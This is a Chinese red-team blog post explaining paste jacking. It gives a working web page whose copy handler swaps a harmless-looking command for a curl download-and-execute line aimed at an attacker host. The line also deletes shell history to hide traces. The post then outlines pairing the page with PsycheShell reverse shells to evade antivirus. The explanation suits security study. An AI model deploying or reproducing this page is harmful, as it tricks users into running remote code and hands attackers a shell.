首页 > 系统相关 >【红队】利用 PsycheShell 进行 Paste Jacking 以获取隐秘的反向 Shell

【红队】利用 PsycheShell 进行 Paste Jacking 以获取隐秘的反向 Shell

时间:2024-10-30 19:46:59浏览次数:7  
标签:Jacking Shell 复制 PsycheShell 攻击者 红队 Paste 粘贴

原创 Ots安全

介绍

在网络安全领域,粘贴劫持 (Paste Jacking)等技术代表着社会工程攻击日益复杂的趋势。当用户从网页上复制看似无害的内容,但粘贴的内容却遭到恶意篡改时,就会发生粘贴劫持。攻击者可以使用此技术在目标机器上执行命令,尤其是当用户粘贴到终端等敏感环境中时。在本文中,我们将深入探讨粘贴劫持的工作原理,分析其背后的代码,并讨论防范方法。

什么是 Paste Jacking?

粘贴劫持是指操纵用户从网页复制的内容,使其在粘贴时执行意外操作。通常,用户看到的是无害的文本或代码,但后台运行的 JavaScript 会将复制的内容替换为恶意负载。此负载可能包含任何内容,从下载和执行脚本到创建与攻击者计算机的反向 shell 连接。

例如,用户可能会sudo apt update在网页上看到类似命令,并决定将其复制并粘贴到终端中。然而,他们实际粘贴的内容可能是下载并运行攻击者控制的恶意脚本的命令。

粘贴劫持代码示例

让我们看一个真实的粘贴劫持示例,并分析使其发挥作用的代码。以下 HTML 和 JavaScript 代码演示了如何用恶意内容替换复制的文本。

<!DOCTYPE html>
<html lang="en">
<head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <title>Paste Jacking Example</title>
 <script type="text/javascript">
 // Replace the copied content with malicious command when the user copies
 document.addEventListener('copy', function(e) {
 // Text that appears to the user
 var originalText = document.getElementById('copytext').textContent;
 
 // Malicious payload that will be copied to the clipboard
 var maliciousCommand = "curl -O http://192.168.1.50/malicious.bat && malicious.bat && history -d $(history 1) || cls";
// Set the copied text to the malicious command
 e.clipboardData.setData('text/plain', maliciousCommand);
 e.preventDefault(); // Prevent default copy action
 });
 </script>
</head>
<body>
 <h1>Copy the following command:</h1>
 <p id="copytext">sudo apt update</p>
</body>
</html>

代码解析:

原始文本与恶意文本:在此示例中,用户看到类似这样的命令sudo apt update,该命令看起来完全安全。但是,当用户选择并复制文本时,JavaScript 事件监听器会拦截该操作,并将复制的内容替换为恶意命令。

var malwareCommand = “curl -O http://192.168.1.50/malicious.bat && malware.bat && history -d $( history 1) || cls”;

此命令执行以下操作:

curl -O http://192.168.1.50/malicious.bat:.bat从攻击者的服务器下载恶意文件。
malicious.bat:执行下载的.bat文件。
history -d $(history 1):从终端历史记录中删除最后一个命令(在 Linux/MacOS 环境中)以隐藏痕迹。
cls:清除 Windows 上的终端屏幕。

JavaScript 事件监听器:document.addEventListener('copy')用于检测网页上何时执行复制操作。一旦用户尝试复制内容,此监听器就会执行提供的函数,用恶意命令替换复制的内容

e .clipboardData .setData ('text/plain',maliciousCommand);
e .preventDefault (); // 停止原始复制操作

该行e.preventDefault()阻止浏览器执行默认的复制操作,确保粘贴恶意内容而不是原始内容。

利用 PsycheShell 进行反向 Shell 攻击

PsycheShell是一款多功能工具,用于生成可以绕过防病毒软件和防火墙等常见安全机制的反向 shell。它提供混淆、加密 (SSL) 和持久性选项,使其成为 Paste Jacking 攻击的理想选择。

通过将 Paste Jacking 与PsycheShell生成的反向 shell 相结合,攻击者可以诱骗用户将恶意命令粘贴到他们的终端中,在不知不觉中执行这些命令并建立反向 shell 连接。

攻击如何运作的示例

步骤 1:攻击者创建一个网页,显示类似这样的良性命令sudo apt update。

第 2 步:攻击者包含 Paste Jacking JavaScript,以用PsycheShell反向 shell 负载替换复制的命令。

步骤3:用户复制显示的命令并将其粘贴到他们的终端中。

步骤 4:不是执行预期的命令,而是执行PsycheShell反向 shell,并与攻击者建立连接。

有关PsycheShell的更多信息,请访问PsycheShell GitHub Repo。

https://github.com/hello4r1end/psycheshell

结论

Paste Jacking 与 PsycheShell 相结合,为攻击者提供了一种绕过安全机制并获得未经授权的系统访问的高效方法。虽然对于红队和道德黑客来说非常有效,但对于组织来说,教育用户和实施保护措施至关重要,例如在不受信任的网站上禁用 JavaScript 并在将命令粘贴到敏感环境之前检查剪贴板内容。

标签:Jacking,Shell,复制,PsycheShell,攻击者,红队,Paste,粘贴
From: https://www.cnblogs.com/o-O-oO/p/18516494

相关文章

  • 【java应用】jmeter玩法:BeanShell PreProcessor入口及常用方法介绍
    原创方知本知从零做软件测试现在的系统,信息安全性都在加强。因此,利用Jmeter进行接口压测的时候,通常需要实现模拟登录接口的加密功能。本系列文将介绍如何利用BeanShellPreProcessor实现AES、MD5以及RSA三种加密方法。1.1BeanShellPreProcessor入口在请求中添加前置处理......
  • shellcode编写实验
       作业题目shellcode广泛用于许多涉及代码注入的攻击中。编写shellcode是相当有挑战性的。虽然我们可以很容易地从互联网上找到现有的shellcode,但是能够从头开始编写我们自己的shellcode总是令人兴奋的。shellcode中涉及到几种有趣的技术。本实验室的目的是帮助学生理解这......
  • Jenkins执行Shell脚本超时错误处理指南
    Jenkins执行Shell脚本超时错误处理指南在使用Jenkins进行自动化测试时,经常会遇到需要执行Shell脚本的情况。然而,当Shell脚本执行时间过长,超过了Jenkins配置的超时限制时,就会导致构建任务失败。本文将为你详细介绍如何处理Jenkins执行Shell脚本时的超时错误。问题现象当Jenkins......
  • 【linux】Shell中的运算符
    Shell中的运算符语法1)$((运算式))或$[运算式]2)expr+,-,*,/,%加,减,乘,除,取余注意:expr运算符间要有空格1.演示$((运算式))进行加减乘除取余[root@localhost~]#echo$((1+5))6[root@localhost~]#echo$((3*4))12[root@localhost~]#echo$((4/2))2[r......
  • jenkins 常用shell
    1、发布前端shellip="192.168.31.33"port=22#前端打包后的包名dist_name="dist"#app的名字,app下有index.htmlapp_name="dist"#app所在的目录app_dir="/data/project/html/nmg-ibuilds-pc-visitor"#备份个数bak_count=3#备份目录bak_dir="/dat......
  • Shell脚本编程
    Shell基础编程语言排名链接https://www.tiobe.com/tiobe-index/TIBOE2024年7月的最新编程语言流行度排名格式要求:首行shebang机制,即:#!/bin/bash#!/usr/bin/python#!/usr/bin/perlshell脚本注释规范第一行一般为调用使用的语言程序名,避免更改文件名为无法找到正......
  • Windows下使用PowerShell一键SVN迁移至Git脚本
    目录Git和SVN区别Git的服务端与客户端介绍Git客户端与SVN客户端选择迁移前的准备工作迁移脚本本脚本主要参考以下教程Git和SVN区别SVN是集中式的,只有中央仓库。Git是分布式的,有本地和远程两仓库SVN是按照文件存储,允许比较混乱的目录的目录结构,如果迁移前,不整理目录,会......
  • Shodan(2)红队常用参数(详情见B站泷羽SEC)
    免责声明:本教程作者及相关参与人员对于任何直接或间接使用本教程内容而导致的任何形式的损失或损害,包括但不限于数据丢失、系统损坏、个人隐私泄露或经济损失等,不承担任何责任。所有使用本教程内容的个人或组织应自行承担全部风险。以CVE-2019-0708漏洞为例漏洞原理:存在......
  • linux shell特殊参数
    $n功能描述:n为数字,$0代表命令本身,$1-$9代表第一到第九个参数,十以上的参数需要使用大括号包含,如${10}$*功能描述:这个变量代表命令行中的所有参数,此命令把所有参数看成一个整体$@功能描述:这个变量也代表命令行中的所有的参数,但是此命令把每个参数区分对待注意:$*与$@区别在于......
  • [解决方案] 几十行就能导出博客园文章的 shell 脚本
    几十行就能导出博客园文章的shell脚本CNBLOG_USER和CNBLOG_TOKEN不建议粘贴直接放在脚本中,放在环境变量中执行更安全一些,不容易暴露token。#!/bin/bashsync_cnblog(){API_URL="https://i.cnblogs.com/api/posts/list"#exportCNBLOG_USER=xxx#export......